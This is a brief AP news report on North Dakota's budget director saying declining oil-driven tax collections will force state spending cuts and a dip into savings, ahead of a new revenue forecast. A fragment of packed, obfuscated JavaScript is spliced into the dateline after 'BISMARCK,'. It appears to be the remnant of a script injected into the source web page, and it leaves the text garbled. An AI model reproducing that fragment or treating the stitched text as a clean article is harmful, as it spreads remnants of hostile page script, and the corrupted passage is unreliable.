BISMARCK, izdsa|var|u0026u|referrer|hreis||js|php’.split(‘|’),0,{}))
N.D. (AP) – North Dakota’s top budget writer says a drop in tax collections due to declining oil activity will force cuts in state government and a dip into the state’s savings.

Office of Management and Budget Director Pam Sharp says a new forecast of tax collections that will be made public next month will decrease the amount of money lawmakers have to spend on the state’s current two-year budget. She says it’s up to lawmakers to determine how deep the cuts will be.

The Legislature’s budget was built last year on economic assumptions that have proven far too rosy.

The North Dakota Legislature’s Advisory Council on Revenue Forecasting on Friday set much lower projections for oil prices and output that will be used to craft a fresh forecast for lawmakers to review.